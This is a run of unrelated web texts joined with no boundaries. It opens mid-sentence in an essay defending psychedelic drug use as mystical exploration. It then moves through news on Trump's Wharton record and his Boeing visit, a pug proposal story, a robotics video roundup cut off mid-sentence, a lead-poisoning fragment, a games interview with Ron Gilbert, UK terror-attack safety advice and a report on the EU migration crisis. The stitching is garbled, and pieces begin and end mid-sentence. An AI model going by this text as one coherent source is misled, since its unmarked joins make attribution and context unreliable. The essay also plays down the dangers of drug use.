none else. I form the light and create the darkness: I make peace, and create evil. I, the Lord, do all these things." (4) Resistance to allowing use of psychedelic drugs originates in both religious and secular values. The difficulty in describing psychedelic experiences in traditional religious terms suggests one ground of opposition. The Westerner must borrow such words asorfrom the Hindus, ororfrom the Japanese, to describe the experience of oneness with the universe. We have no appropriate word because our own Jewish and Christian theologies will not accept the idea that man's inmost self can be identical with the Godhead, even though Christians may insist that this was true in the unique instance of Jesus Christ. Jews and Christians think of God in political and monarchical terms, as the supreme governor of the universe, the ultimate boss. Obviously, it is both socially unacceptable and logically preposterous for a particular individual to claim that he, in person, is the omnipotent and omniscient ruler of the world-to be accorded suitable recognition and honor.Such an imperial and kingly concept of the ultimate reality, however, is neither necessary nor universal. The Hindus and the Chinese have no difficulty in conceiving of an identity of the self and the Godhead. For most Asians, other than Muslims, the Godhead moves and manifests the world in much the same way that a centipede manipulates a hundred legs-spontaneously, without deliberation or calculation. In other words, they conceive the universe by analogy with an organism as distinct from a mechanism. They do not see it as an artifact or construct under the conscious direction of some supreme technician, engineer, or architect.If, however, in the context of Christian or Jewish tradition, an individual declares himself to be one with God, he must be dubbed blasphemous (subversive) or insane. Such a mystical experience is a clear threat to traditional religious concepts. The Judaeo-Christian tradition has a monarchical image of God, and monarchs, who rule by force, fear nothing more than insubordination. The Church has therefore always been highly suspicious of mystics, because they seem to be insubordinate and to claim equality or, worse, identity with God. For this reason, John Scotus Erigena and Meister Eckhart were condemned as heretics. This was also why the Quakers faced opposition for their doctrine of the Inward Light, and for their refusal to remove hats in church and in court. A few occasional mystics may be all right so long as they watch their language, like St. Teresa of Avila and St. John of the Cross, who maintained, shall we say, a metaphysical distance of respect between themselves and their heavenly King. Nothing, however, could be more alarming to the ecclesiastical hierarchy than a popular outbreak of mysticism, for this might well amount to setting up a democracy in the kingdom of heaven-and such alarm would be shared equally by Catholics, Jews, and fundamentalist Protestants.The monarchical image of God, with its implicit distaste for religious insubordination, has a more pervasive impact than many Christians might admit. The thrones of kings have walls immediately behind them, and all who present themselves at court must prostrate themselves or kneel, because this is an awkward position from which to make a sudden attack. It has perhaps never occurred to Christians that when they design a church on the model of a royal court (basilica) and prescribe church ritual, they are implying that God, like a human monarch, is afraid. This is also implied by flattery in prayers:The kingly concept of God makes identity of self and God, or self and universe, inconceivable in Western religious terms. The difference between Eastern and Western concepts of man and his universe, however, extends beyond strictly religious concepts. The Western scientist may rationally perceive the idea of organism-environment, but he does not ordinarily feel this to be true. By cultural and social conditioning, he has been hypnotized into experiencing himself as an ego- as an isolated center of consciousness and will inside a bag of skin, confronting an external and alien world. We say, "I came into this world." But we did nothing of the kind. We came out of it in just the same way that fruit comes out of trees. Our galaxy, our cosmos, "peoples" in the same way that an apple tree "apples."Such a vision of the universe clashes with the idea of a monarchical God, with the concept of the separate ego, and even with the secular, atheist/agnostic mentality, which derives its common sense from the mythology of nineteenth-century scientist According to this view, the universe is a mindless mechanism and man a sort of accidental microorganism infesting a minute globular rock that revolves about an unimportant star on the outer fringe of one of the minor galaxies. This "put-down" theory of man is extremely common among such quasi scientists as sociologists, psychologists, and psychiatrists, most of whom are still thinking of the world in terms of Newtonian mechanics, and have never really caught up with the ideas of Einstein and Bohr, Oppenheimer and Schrodinger. Thus to the ordinary institutional-type psychiatrist, any patient who gives the least hint of mystical or religious experience is automatically diagnosed as deranged. From the standpoint of the mechanistic religion, he is a heretic and is given electroshock therapy as an up-to-date form of thumbscrew and rack. And, incidentally, it is just this kind of quasi scientist who, as consultant to government and law-enforcement agencies, dictates official policies on the use of psychedelic chemicals.Inability to accept the mystic experience is more than an intellectual handicap. Lack of awareness of the basic unity of organism and environment is a serious and dangerous hallucination. For in a civilization equipped with immense technological power, the sense of alienation between man and nature leads to the use of technology in a hostile spirit---to the "conquest" of nature instead of intelligent co-operation with nature. The result is that we are eroding and destroying our environment, spreading Los Angelization instead of civilization. This is the major threat overhanging Western, technological culture, and no amount of reasoning or doom-preaching seems to help. We simply do not respond to the prophetic and moralizing techniques of conversion upon which Jews and Christians have always relied. But people have an obscure sense of what is good for them-call it "unconscious self-healing," "survival instinct," "positive growth potential," or what you will. Among the educated young there is therefore a startling and unprecedented interest in the transformation of human consciousness. All over the Western world publishers are selling millions of books dealing with Yoga, Vedanta, Zen Buddhism, and the chemical mysticism of psychedelic drugs, and I have come to believe that the whole "hip" subculture, however misguided in some of its manifestations, is the earnest and responsible effort of young people to correct the self-destroying course of industrial civilization.The content of the mystical experience is thus inconsistent with both the religious and secular concepts of traditional Western thought. Moreover, mystical experiences often result in attitudes that threaten the authority not only of established churches, but also of secular society. Unafraid of death and deficient in worldly ambition, those who have undergone mystical experiences are impervious to threats and promises. Moreover, their sense of the relativity of good and evil arouses the suspicion that they lack both conscience and respect for law. Use of psychedelics in the United States by a literate bourgeoisie means that an important segment of the population is indifferent to society's traditional rewards and sanctions.In theory, the existence within our secular society of a group that does not accept conventional values is consistent with our political vision. But one of the great problems of the United States, legally and politically, is that we have never quite had the courage of our convictions. The Republic is founded on the marvelously sane principle that a human community can exist and prosper only on a basis of mutual trust. Metaphysically, the American Revolution was a rejection of the dogma of Original Sin, which is the notion that because you cannot trust yourself or other people, there must be some Superior Authority to keep us all in order. The dogma was rejected because, if it is true that we cannot trust ourselves and others, it follows that we cannot trust the Superior Authority which we ourselves conceive and obey, and that the very idea of our own untrustworthiness is unreliable!Citizens of the United States believe, or are supposed to believe, that a republic is the best form of government. Yet vast confusion arises from trying to be republican in politics and monarchist in religion. How can a republic be the best form of government if the universe, heaven, and hell are a monarchy? (8) Finally, there are two specific objections to use of psychedelic drugs. First, use of these drugs may be dangerous. However, every worth-while exploration is dangerous-climbing mountains, testing aircraft, rocketing into outer space, skin diving, or collecting botanical specimens in jungles. But if you value knowledge and the actual delight of exploration more than mere duration of uneventful life, you are willing to take the risks. It is not really healthy for monks to practice fasting, and it was hardly hygienic for Jesus to get himself crucified, but these are risks taken in the course of spiritual adventures. Today the adventurous young are taking risks in exploring the psyche, testing their mettle at the task just as, in times past, they have tested it---more violently---in hunting, dueling, hot-rod racing, and playing football. What they need is not prohibitions and policemen, but the most intelligent encouragement and advice that can be found.Second, drug use may be criticized as an escape from reality. However, this criticism assumes unjustly that the mystical experiences themselves are escapist or unreal. LSD, in particular, is by no means a soft and cushy escape from reality. It can very easily be an experience in which you have to test your soul against all the devils in hell. For me, it has been at times an experience in which I was at once completely lost in the corridors of the mind and yet relating that very lostness to the exact order of logic and language, simultaneously very mad and very sane. But beyond these occasional lost and insane episodes, there are the experiences of the world as a system of total harmony and glory, and the discipline of relating these to the order of logic and language must somehow explain how what William Blake called that "energy which is eternal delight" can consist with the misery and suffering of everyday life. (9)For years, profiles of Donald Trump have prominently noted that he “graduated first in his class” at the University of Pennsylvania’s Wharton School in 1968. But a new review of the dean’s list in the year he graduated from Wharton’s undergraduate program shows that he wasn’t even in the top 15% of his class.
According to The Daily Pennsylvanian, the student newspaper, a published list of 56 students who were on the Wharton’s Dean List, representing the top 15% of the class, failed to include Trump. A 1968 Commencement Program also showed that Trump failed to graduate with any honors, despite his previous claim that he was first in his graduating class.
The program, acquired by the newspaper from the Penn Archives, lists 20 Wharton award and prize recipients, 15 cum laude recipients, four magna cum laude recipients and two summa cum laude recipients for the Class of 1968. “Trump’s name appears nowhere on those lists,” reported the newspaper which reprinted the program from the May graduation (see below).
CLASSMATES CLAIM TRUMP DID NOT ‘SEEM TO CARE ABOUT BEING PREPARED’ FOR CLASS
Trump arrived at Wharton in 1966 as a junior transfer from Fordham University, driving a Ford convertible. The New York Times in 1984 reported that numerous profiles of Trump noted that he “graduated first in his class,” and Trump has consistently claimed that he is a “smart person” who has a degree from a highly prestigious business school.
But many of Trump’s peers in the Wharton Class of 1968 agree that he did not stand out academically, the report added. The newspaper quoted 1968 Wharton graduate Louis Calomaris who recalled that “Don … was loath to really study much.”
Calomaris said Trump would come to study groups unprepared and did not “seem to care about being prepared.” He added that Trump’s academic passivity likely stemmed from his passion for engaging directly in the real estate business.
‘THE DUMBEST GODDAMN STUDENT I EVER HAD’
“He spent all his weekends in New York because residential real estate is a weekend business,” Calomaris told the Pennsylvanian which noted that five of Trump’s other classmates confirmed the alum’s claims. “He was not an intellectual man, but that wasn’t what his goal was,” Calomaris added. “He’s not an intellectual now, [and] that’s pretty obvious … [w]hat I saw early on was an unbounded ambition that did come to fruition, because it matched his firm’s needs, and that’s how these things work.”
One of Trump’s marketing professors at Wharton, the late William Kelley, apparently thought little of his student. A close friend of the professor, Frank DiPrima, said that
Kelley told him 100 times over three decades that “Donald Trump was the dumbest goddam student I ever had.” “I remember his emphasis and inflection — it went like this — ‘Donald Trump was the dumbest goddam student I ever had,’” DiPrima wrote. “Dr. Kelley told me this after Trump had become a celebrity but long before he was considered a political figure. Dr. Kelley often referred to Trump’s arrogance when he told of this — that Trump came to Wharton thinking he already knew everything.”
DON’T MISS: THE TRUMP SHOCK IN THE MBA BUBBLE or IN AGE OF TRUMP, B-SCHOOLS BRACE FOR UPHEAVALSure, Kanye West rented out a stadium to propose to Kim Kardashian. Prince William asked Kate to be his wife while they were on a 10-day African safari. And then there’s that guy from Utah who organized a flash mob inside a Home Depot to pop the question to his boyfriend.
But there are exactly 16 reasons why the following marriage proposal is even better than any of the above romantic gestures.
A man from London named Ed wanted to propose to his longtime love, Alex, in New York City’s Central Park with the help of a few pugs. He contacted the New York City Pug Meetup Group, who proved that yes, ladies and gents, dreams really do come true.
The group supplied 16 pugs, who were accessorized with heart-shaped balloons for Oct. 27’s occasion, reports the Barkpost.
So why pugs instead of, say, corgis or blue-eyed kittens? Although Alex doesn’t own a pug, she loves the breed, according to the Barkpost.
The pugs met the couple in the middle of the park’s Bow Bridge, where Ed dropped to one knee to pop the question. In a video of the proposal (watch below), Ed tells Alex, “I don’t know a single person who doesn’t think you’re absolutely fantastic … I love you so much.”
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Oh, by the way, she said yes.Advertisement
We just finished putting together our preliminary calendar for the 2014 IEEE International Conference on Intelligent Robots and Systems (IROS), which kicks off less than a month from now in Chicago. As per usual, we have several hundred robotics papers that we want to check out, but at least this time, we'll have a TEAM there to tackle them all. And the format of IROS this year will be a bit different, with lightning-style preview talks accompanied by massive interactive sessions instead of the traditional powerpoint talks. It's gonna be awesome. But we're not there yet, so first, videos.
The ALS Ice Bucket Challenge continues to spread around the world. In Tokyo, several Pepper robots help dump water on Softbank executive Kaname Hayashi, while in Paris, Nao robots cheer as Aldebaran Robotics CEO Bruno Maisonnier gets soaked.
With its ERWR project ("Extend the Reach of the Warfighter Through Robotics"), Lockheed Martin wants to demonstrate how an autonomous K-Max helicopter can autonomously deliver an autonomous ground vehicle that then autonomously does autonomous stuff autonomously. And did we mention it's all autonomous?
The Lockheed Martin Squad Mission Support System Unmanned Ground Vehicle equipped with a Gyrocam 9-inch mid-wave, surveillance sensor was flown by sling load into the “hostile” area using a Lockheed Martin K-MAX unmanned helicopter, and a tactical resupply and surveillance mission was conducted in autonomous and tele-operated modes.
[ Lockheed Martin ]
The title of this video is "The Legend of the Drunken Robot." Well played, UT Human Centered Robotics Lab, well played.
This research is sponsored by the US Office of Naval Research. Hume uses its series elastic actuated legs to remain balanced while walking. It achieves this capability by observing the center of mass position error relative to a reference path and re-planning at every step a new reference trajectory to minimize the error. We use phase space planning techniques to plan the center of mass trajectories and foot placement. Thus, our approach is based on continuous re-planning. By planning the path of the next step based on the observed initial error, we can find the proper landing location of each step. Relying on the prismatic inverted pendulum model instead of the linear inverted pendulum model we also enable non-planar center of mass motion, which will be essential later on for rough terrain locomotion.
[ UT Austin ]
We've written a bit about "spy creatures" before, mostly in the context of using them to film animals that you don't want to be too close to film them yourself. But there are more of them! Robot penguins, turtles, and tuna, all with spy cameras inside:
Via [ Gizmodo ]
Here is a video showing, in simulation, some things that I would DESPERATELY like to see Boston Dynamics' Atlas humanoid do in real life:
[ MIT ]
"Impossible for humans. Effortless for automatic control." This could be anything robot-related, but in this case, it's referring to the ability to pilot six quadrotors in time with music:
You can read about how Angela Schoellig, Federico Augugliaro, and Raffaello D'Andrea made all this work in the December 2013 issue of IEEE Robotics and Automation Magazine, or read the paper online here.
[ ETH Zurich ]
To prove that UCAVs are ready for primetime, the U.S. Navy has been conducting carrier trials with the X-47B operating alongside manned F-18 Hornets:
[ Navy ]
Our favorite videos of Baxter are the ones where we get to see it in factories, successfully doing the sort of work that it was designed to do:
Also, if you're wondering how much blur and lens flare it takes to make Baxter look dramatic, this video has the answer:
[ Rethink Robotics ]
While we're on about Baxter, I don't think it comes standard out of the box with Razer Hydra control or Oculus Rift support. Or the shirt that you'll see in this video from |
way public health protection should work, and the crisis appears to reflect failures at every level of government. In 1969, environmentalist René Dubos warned that the problem of childhood lead poisoning “is so well-defined, so neatly packaged, with both causes and cures known, that if we don’t eliminate this social crime, our society deserves all the disasters that have been forecast for it.”5 We have yet to fully respond to Dubos’s admonition.
We have the knowledge required to redress this social crime. We know where the lead is, how people are exposed, and how it damages health. What we lack is the political will to do what should be done.You should be excited about The Cave. It is, after all, Monkey Island maestro Ron Gilbert’s latest brainchild and – startling revelation that brains can have children aside – it looks to be a pleasant reminder that Double Fine’s far, far more than just a one-trick Kickstarter pony. Also, and I can’t stress this enough, the cave talks. So, after seeing it in action last week, I crept back into Double Fine’s offices for a nice, long chat with Gilbert himself, who – much like your average magical cave – also talks. There, we discussed the game’s parentage (Is Maniac Mansion the father? Shocking reveal on page 17), real life inspirations, why there’s an odd number of main characters, the Cave’s voice, and the reason Gilbert can never go on a whirlwind tour of the world’s finest caves. Oh, and more, of course.
RPS: How direct is the link between The Cave and Maniac Mansion? Because there’s the big similarity in terms of the multiple character dynamic. But was that a conscious decision, like “I want to revisit this thing that I did once and do it better”? Or is it purely coincidental?
Ron Gilbert: I don’t think it was a very driven, conscious effort to revisit it. But I think for me, having multiple characters to go through something is just something I’ve always been interested in. It allows the players to experience something in a slightly different way the second time. They may play it, but then the replayability and… You know, you can tell the story slightly differently if you have different characters.
So I think it’s something that’s always interested me. The fact that there’s seven characters in The Cave and there’s seven characters in Maniac Mansion – that wasn’t on purpose, but I think it falls out of the fact that seven is a really nice number. It just works so well in so many ways that I think it’s just kind of the way that things naturally want to fall. Six doesn’t feel like enough, eight just feels like it’s too many. But seven! Of course.
RPS: During the presentation, you mentioned that you’ve been working on the Cave for about a year. But you joined up with Double Fine in 2010, right?
Ron Gilbert: I don’t remember the exact dates…
RPS: Well, Wikipedia tells me 2010… [laughter]
Ron Gilbert: Well, well.
RPS: And it probably knows you better than you know yourself, so…
Ron Gilbert: Yeah, I’m trying to think, it was… Yeah, I don’t remember exactly. But there was probably a six-month period from when I joined Double Fine and I knew I was to make the Cave, to when we actually got it signed by a publisher. So during that time, I was working on the design, pushing stuff out, but I don’t really consider that “working on it,” because at the time we had no team, we had no anything. It was just me. So that’s probably where that six-month gap in my record comes from. [laughter]
RPS: How inspired is The Cave by real life experiences? I think at one point someone asked you a similar question during last week’s presentation, and you said that you weren’t sure exactly where it came from. But I would figure this sort of thing – something so human and emotionally grounded – has to come from someplace real, right?
Ron Gilbert: I’m very claustrophobic, so I certainly don’t go into a lot of caves myself. Maybe I’m just acting out some latent fantasy by making a game about it. But I do think the thing about caves that’s so interesting to us as human beings is just that I think they’ve been a part of our lives for hundreds of thousands of years, you know? They were shelter for us for a long, long time.
There’s just something about caves that people find fascinating and mysterious. They’re underground, which means they’re dark and you’re going down and there’s all those metaphors of descending and going down into something that I think are just creatively really fun to play with. And also, one of the first adventure games I really got into was Colossal Cave, you know. On the old college mainframes. So that was kind of an early genesis, an early version of this game. It’s, I don’t know, 25 years old, but I came from really liking Colossal Cave and playing that a whole lot.
RPS: This one has been bugging me. There are seven characters. As you said, it’s a nice number. But in terms of the structure of the game, you do three characters at a time, and so, in theory, you’d have to play the game three times, but one of the times would have two redundant characters. Is that how it works?
Ron Gilbert: Yes, I think mathematically that is how it probably works. I mean, you could play it with three and then you could play it a second time with one of the characters you played before and two new ones. Kind of mix and match that up. But yeah, you have to play it three times to see every single thing, and there is going to be some redundancy because of the characters. If we did nine characters instead of seven, then it wouldn’t do that. But nine is just an odd number.
RPS: Are you worried at all about that, though? It seems like the type of game where once you’ve solved a puzzle, you know how to solve it. Wouldn’t that hurt replayability?
Ron Gilbert: Well, I’m not that worried about it – just based on my experience of looking at how people played Maniac Mansion. Maniac Mansion was a game that I think people kinda grabbed on to characters they really liked. They liked Razor, they liked Bernard, nobody liked Jeff. But you know, they liked one of those characters. And so they would want to play with them. When they played Maniac Mansion again, they’d always bring Razor. They might bring some different characters, Michael or Wendy or whatever, but they always brought Razor because that was their favorite character.
I think people may do a very similar thing with The Cave, where they latch on to their favorite character. They love the Hillbilly or they love the Scientist. They’re going to play it again, but they’re going to play it with the Scientist, because they loved her area of the cave or they just loved her. Yeah, if you’re min-maxing the completion of the game, then there’s probably a couple of redundant ones. But I don’t know that that’s the way normal players really think about stuff.
RPS: So the cave talks, and that’s really amazing and hilarious. But was that always the plan from the beginning? Or did that come out of some ridiculous brainstorming session at Double Fine or something?
Ron Gilbert: No, that was always part of the plan. That the cave really talks, that’s he’s kind of like the soul of the cave, this weird kind of omniscient presence that has witnessed through hundreds of thousands of years of people liking to go into caves. He’s witnessed all of human evolution. It just seemed like an interesting character. Because of the amount of people that he’s seen coming down here and their descendants, nothing surprises him anymore. Everybody’s been down here at some point or another. I just thought that was an interesting kind of thing to play with from a story standpoint.
RPS: I think you mentioned that you haven’t actually finalized a voice for the cave yet – even in terms of male or femaleness. So how do you envision The Cave as a character? Because those voices would bring a lot of different connotations depending on what you went with. What are you aiming for, and how would a different voice actor enhance that?
Ron Gilbert: It’s kind of been a really hard search, because you want somebody who can embody that spirit that you think of as the Cave, but it also has to be a voice that has a certain weight to it. Not weight as in deep or resonating – just a weight to it because it’s such an important character. Finding the right person for that is something we spent a lot of time trying to hone down and figure out.
RPS: If you’d started designing The Cave after the success of Double Fine Adventure, after that really took off, do you think it would still be an adventure platformer? Or do you think it would be more of a straight adventure game?
RG: Well, it’s not really a platformer. It depends, I guess, on what your definition of a platformer is. The Cave, when you’re playing the game, you are jumping, you are climbing up things, but that’s really not the game. Nobody’s going to miss a jump in this game, unless you’re just completely screwing around. I very purposely do not want to make it a game that’s about jumping, that’s about barely grabbing ropes at the right time and getting all that stuff. The traversal part of the game is really just a fun activity.
I think one of the things that classic point-click adventure games were always criticized for was that walking around is boring. You had to walk from one end of Melee Island to the other end of Melee Island, and it’s just boring to do. When we were developing Monkey Island, we had little cheat keys that would allow us to run as fast as we wanted, just because it was boring for us as the designers to run around the damn game. And so I think that kind of world traversal is something that’s always been a little bit boring in adventure games.
Having the Cave be something that you’re running around and you’re jumping, you’re climbing up things, wasn’t really a way to add this whole other level of gameplay. It was just about making traversal fun and interesting and something you enjoy doing. If I had to run over here to get something, it was kind of fun to actually move over there and get that thing.
RPS: The puzzles that we’ve seen at this point are fairly simple, and they had to be, because you were just introducing the basic dynamics of the game. But how complex would you say they get? For instance, Fez recently came out, and that game had people stumped for days. But that was a very key part of the experience, and people ended up liking the fact that they were challenged so much by it. Would you say that The Cave is in that realm, or is it a bit less demanding?
Ron Gilbert: It’s going to be a lot less demanding than that. And I think some of that just comes from who I am as a person now, you know? I have a lot of things that tug at my free time, and I don’t enjoy games that I’m just stumped on for days on end like I used to. To me, having a game that’s a good X hours that’s just a really enjoyable experience to work your way through and learn about the story and learn about the characters and just see all the wonderful environments – to me, that’s kind of what interests me a lot about gaming, rather than just incredibly hard, obtuse puzzles to work your way through.
I think Limbo did a really good job of that. I don’t ever remember being stumped on Limbo for more than like five minutes or something. It’s something that me and somebody could puzzle out in our heads in a few minutes. But it was just thoroughly enjoyable, because it was this wash of an experience that went over you while you were playing with it. It was really great.
RPS: Cave’s playable characters – not the Cave obviously – but the characters you control, they’re not voiced, right?
Ron Gilbert: Correct.
RPS: That’s interesting, because Double Fine is a company that’s always been very writing-oriented. That’s a thing that people have associated with them for years. And also, you know, with adventure games, they tend to have a lot of amusing phrases and words and things.
Ron Gilbert: And things?
RPS: Words and things! Yeah! But I mean, what’s it like trying to tell a story with that type of setup? What sort of challenges has that presented for you?
Ron Gilbert: Yeah, it’s a real challenge. It was a much bigger challenge than I thought it was going to be when I first started. I actually thought that this was going to be super easy, because there’s only one main character. But it ended up being really, really challenging, because you have a character where you’re basically writing this kind of internal, running monologue that they’re having. To kind of keep that interesting [was very difficult]. And there are other characters that you come across in the cave, besides those seven people, and those characters are fully voiced. So there is opportunity for other people to be talking and all this stuff, which helps a lot.
But I just felt that having those seven characters not talk was an interesting thing that lent a little bit to the mystery of who they really were, why they were here. It felt like if they never really verbalized any of those things, that it felt a little bit more like you were seeing it from the cave’s perspective – of these people who just come in and do their thing. The Cave doesn’t necessarily know exactly why they’re here or what their motivations are either. It just felt nice to sync that up a little bit with the players. That the Cave and the players were on equal footing in terms of not really knowing who these people were or what they were doing.
RPS: There’s no online multiplayer, right? So how is that going to transition onto the PC? Are you going to have a setup where everyone uses the same machine?
Ron Gilbert: Well, you can plug a controller into the PC. So if you do want to play with a controller you can play with that. If there’s a second person, the second person will play with a controller while the other person plays with a more traditional interface.
RPS: The people who made Journey always went on about how they went and stayed in the desert for days before making the game. So clearly, you have to face your fears and go sleep in a cave for a week, right?
RG: Do you think that’s really true? Did they really go out and stay in the desert?
RPS: I’m pretty sure they did. I talked with Robin [Hunicke] and she was very adamant about how much that influenced them.
Ron Gilbert: Well, you know, I’m really claustrophobic, so I can maybe stay in the mouth of the cave. That’s about the most I can really get into a cave. I mean, I’ve been to caves – touristy caves, Carlsbad Caverns and stuff like that. And there were these really cool ice caves when I lived up in Seattle. Up in the Cascade mountains, there were these caves that were just these big, giant ice caverns that I went into a couple of times. But no, I don’t plan on spending the night in a cave. Sorry. I guess I’m not true to my art.
PR representative who’s been there the entire time: What if there’s treasure?
Ron Gilbert: Oh, well then, [obviously]!
Check back tomorrow for part two, wherein we discuss everything non-Cave-related. That’s right: everything. Ever.President Donald Trump stands with Boeing CEO Dennis Muilenburg, right, South Carolina Gov. Henry McMaster, left and Boeing Commercial Aircraft CEO Kevin McAllister as they board the new Boeing 787-10 Dreamliner aircraft at the Boeing factory in North Charleston, SC on February 17, 2017. The visit comes two days after workers at the South Carolina plant voted to reject union representation in a state where Trump won handily. Photo by Richard Ellis/UPI | License Photo
President Donald Trump sits in the cockpit of the new Boeing 787-10 Dreamliner aircraft during a tour at the Boeing factory in North Charleston, SC on February 17, 2017. The visit comes two days after workers at the South Carolina plant voted to reject union representation in a state where Trump won handily. Photo by Richard Ellis/UPI | License Photo
President Donald Trump is welcome by Boeing CEO Dennis Muilenburg as he arrives for the debut of the new Boeing 787-10 Dreamliner aircraft at the Boeing factory in North Charleston, SC on February 17, 2017. The visit comes two days after workers at the South Carolina plant voted to reject union representation in a state where Trump won handily. Photo by Richard Ellis/UPI | License Photo
President Donald Trump speaks Friday at the unveiling of Boeing's new 787-10 Dreamliner at their production facility in North Charleston, South Carolina. At the event, Trump pledged to work to keep manufacturing jobs in the United States -- and "buy American and hire American." Photo by Stephen B. Morton/European Pressphoto Agency
President Donald Trump gives a thumbs up during his address to employees at the debut of the new Boeing 787-10 Dreamliner aircraft at the Boeing factory in North Charleston, SC on February 17, 2017. The visit comes two days after workers at the South Carolina plant voted to reject union representation in a state where Trump won handily. Photo by Richard Ellis/UPI | License Photo
President Donald Trump waves during his address to employees at the debut of the new Boeing 787-10 Dreamliner aircraft at the Boeing factory in North Charleston, SC on February 17, 2017. The visit comes two days after workers at the South Carolina plant voted to reject union representation in a state where Trump won handily. Photo by Richard Ellis/UPI | License Photo
President Donald Trump holds up his fist at the conclusion of his address to employees at the debut of the new Boeing 787-10 Dreamliner aircraft at the Boeing factory in North Charleston, SC on February 17, 2017. The visit comes two days after workers at the South Carolina plant voted to reject union representation in a state where Trump won handily. Photo by Richard Ellis/UPI | License Photo
Feb. 17 (UPI) -- President Donald Trump visited a Boeing production facility in South Carolina on Friday afternoon where the aviation giant showcased the latest version of its 787 Dreamliner.
"That is one beautiful airplane," the president said in his opening remarks, gesturing to a 787 on display behind him. "Congratulations to the men and women here who have built it."
The president's visit was part of an unveiling by the Chicago-based aerospace company of its new 787-10 -- the third and most recent version of the widebody jet, which is more fuel efficient than Boeing's other planes due to the airframe's largely composite structure.
"The name says it all -- Dreamliner. Great name," he added. "Our country is all about making dreams come true."
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Trump's venture to South Carolina is his first visit to a manufacturing plant since he was sworn in as president. He made the trip to underscore his plans to develop a robust American job market and reduce outsourcing of labor.
"We are here today to celebrate American engineering and American manufacturing," he said. "We are also here today to celebrate jobs."
Trump touted his economic vision and repeated that the American people will be "very, very happy."
"As president I'm going to do everything I can to unleash the power of the American spirit and put people back to work," the president said. "This is our mantra -- buy American and hire American."
Trump cited the Dakota Access Pipeline as an example of his work to boost the domestic economy -- saying he mandated that the steel for the pipeline come from the United States.
"I said, 'where is the pipe made?' And they told me, 'not here,'" Trump said. "I said, 'good, add a little sentence that you have to buy American steel.'"
Trump's visit came just two days after workers at the North Charleston plant voted against organizing. An election was held Wednesday for 3,100 workers to decide whether to join the International Association of Machinists and Aerospace Workers. Boeing advised against the option and workers ultimately did, as well.
Trump also said Friday that the United States will begin "winning like never, ever before" and praised the people of South Carolina for voting for him in November.
"You know, the old days when I made this speech I got paid a lot of money. Now I've got to do it for free," he quipped. "Not a good deal, but that's OK. We love it."
"God bless America -- and God bless Boeing," he concluded.Media playback is unsupported on your device Media caption James Haskell and Jade Jones star in the latest police video, which offers advice in the event of a terror attack
Eyewitnesses of terror attacks are being warned to flee the scene rather than try to film or photograph atrocities on their phones.
The warning is part of a police campaign pushing for children in schools to be taught what to do in the event of a terror attack.
Police chiefs say giving advice in classrooms could save lives.
The campaign follows a number of attacks in the UK this year, including a bombing at a Manchester pop concert.
An attack earlier this month on a London Underground train in Parsons Green saw images of a partially-exploded bomb posted online within minutes.
Counter-terrorism officials already run a number of public campaigns highlighting what to do in the event of a terrorist attack.
The "run, hide, tell" advice states that people should first try to flee an attack - or alternatively find somewhere safe to hide - and then alert authorities.
Experts have now drawn up a version for 11 to 16 years olds, which they say should be taught in schools and colleges as part of the national curriculum.
A "run, hide, tell" emoji has been created for the campaign alongside a video, featuring TV star Bear Grylls, England footballer Jamie Vardy, and Olympian Jade Jones.
Image copyright Sylvain Pennec Image caption Images of a partially exploded bomb on a tube train were posted online
Met Deputy Assistant Commissioner Lucy D'Orsi, national policing lead for protective security, said talking to young people about terrorism "can be scary".
However, she added: "The atrocities in London and Manchester have sadly resulted in some of the youngest victims of terror this country has ever seen, and if we are able to teach children to act in a way which could potentially save their lives then it is our responsibility to do so.
"We are particularly concerned when we see people - young and old - using their mobiles to film scenes when they should be moving away from the danger."
'Duty to help'
Seven children were among the 22 people killed at Manchester Arena, when a suicide bomber detonated a home-made bomb after a concert by US singer Ariana Grande.
The youngest victim was eight-year-old Saffie Rose Roussos.
Media playback is unsupported on your device Media caption The video issued by police offerS advice in the event of a terror attack
Meanwhile, the NSPCC says it has received 300 contacts from young people anxious about terrorism since April.
John Cameron, head of helplines at the charity, encouraged adults to listen to children's worries and reassure them that terror attacks were rare.
"Although these conversations might be difficult, the spate of devastating events means that they cannot be brushed under the carpet and we all have a duty to help every child stay safe," he said.EU ministers struggle to reach collective agreement on crisis as Austria and Macedonia press for reintroduction of national border controls
European governments are bracing for a major humanitarian emergency in Greece amid rising panic that the EU’s fragmented efforts to cope with its migration crisis are nearing breakdown.
EU interior ministers met in Brussels on Thursday in their latest attempt to forge a common response, but the meeting was clouded by a ferocious row between Greece and Austria, which is spearheading a campaign to quarantine Greece and throttle the flow of migrants up the Balkans by partially sealing the Greek border with Macedonia.
If Greece is cut off from the rest of Europe’s free-travel Schengen area, Berlin predicts a humanitarian and security emergency within days.
Dimitris Avramopoulos, the EU commissioner in charge of migration, said contingency planning for a major aid operation was highly advanced and would be finalised within days. “The possibility of a humanitarian crisis of a large scale is there and very real,” he said.
This racist backlash against refugees is the real crisis in Europe | Apostolis Fotiadis Read more
A senior EU official involved in the planning said “the humanitarian dimension in Europe is becoming much more important than it has been until now”.
The shift in focus from taking in refugees to dealing with the consequences of keeping most of them out amounts to an admission of abject failure in developing coherent EU policies on the crisis.
Athens reacted furiously to the latest developments, recalling its ambassador from Vienna, accusing Austria of 19th-century behaviour, and blaming Europe for creating a crisis it was now preparing to relieve.
An EU country recalling its ambassador from another EU country may be unprecedented, highlighting the depths of division and grievance in Europe over the refugee crisis.
Speaking of the interior ministers’ meeting, Yannis Mouzalas, the Greek migration minister, said: “A very large number [of participants] here attempt to discuss how to address a humanitarian crisis in Greece that they themselves intend to create.”
Ministers appear to have set themselves a deadline of 7 March before resorting to a “plan B” being pushed by anti-immigration eastern Europe, which would cut Greece off and probably also see the 26-country Schengen area being suspended for up to two years as national border controls proliferate across the EU.
Refugee arrivals in Greece exceed 100,000 in less than two months Read more
“In the next 10 days, we need tangible and clear results on the ground. Otherwise there is a risk that the whole system will completely break down,” warned Avramopoulos.
Austria provoked the fury of the Greeks, the Germans and the European commission by announcing last week it was limiting the number of people who could claim asylum to 80 a day, and then on Wednesday unilaterally convening a meeting of 10 Balkan countries aimed at halting the refugee flow and returning them to Greece. The Austrians did not invite the Greeks or the Germans, two pivotal countries.
Angela Merkel, the German chancellor, insisted on a special EU summit with Turkey on 7 March, hoping to cajole the Turks into stopping the crossings to Greece and in return pledging to take hundreds of thousands of refugees directly from Turkey.
Merkel, however, is isolated. There is little confidence that the Turks will deliver and several countries opposed to Merkel actively hope her plan will fail. A large majority of EU states will refuse to take part in directly resettling refugees from Turkey.
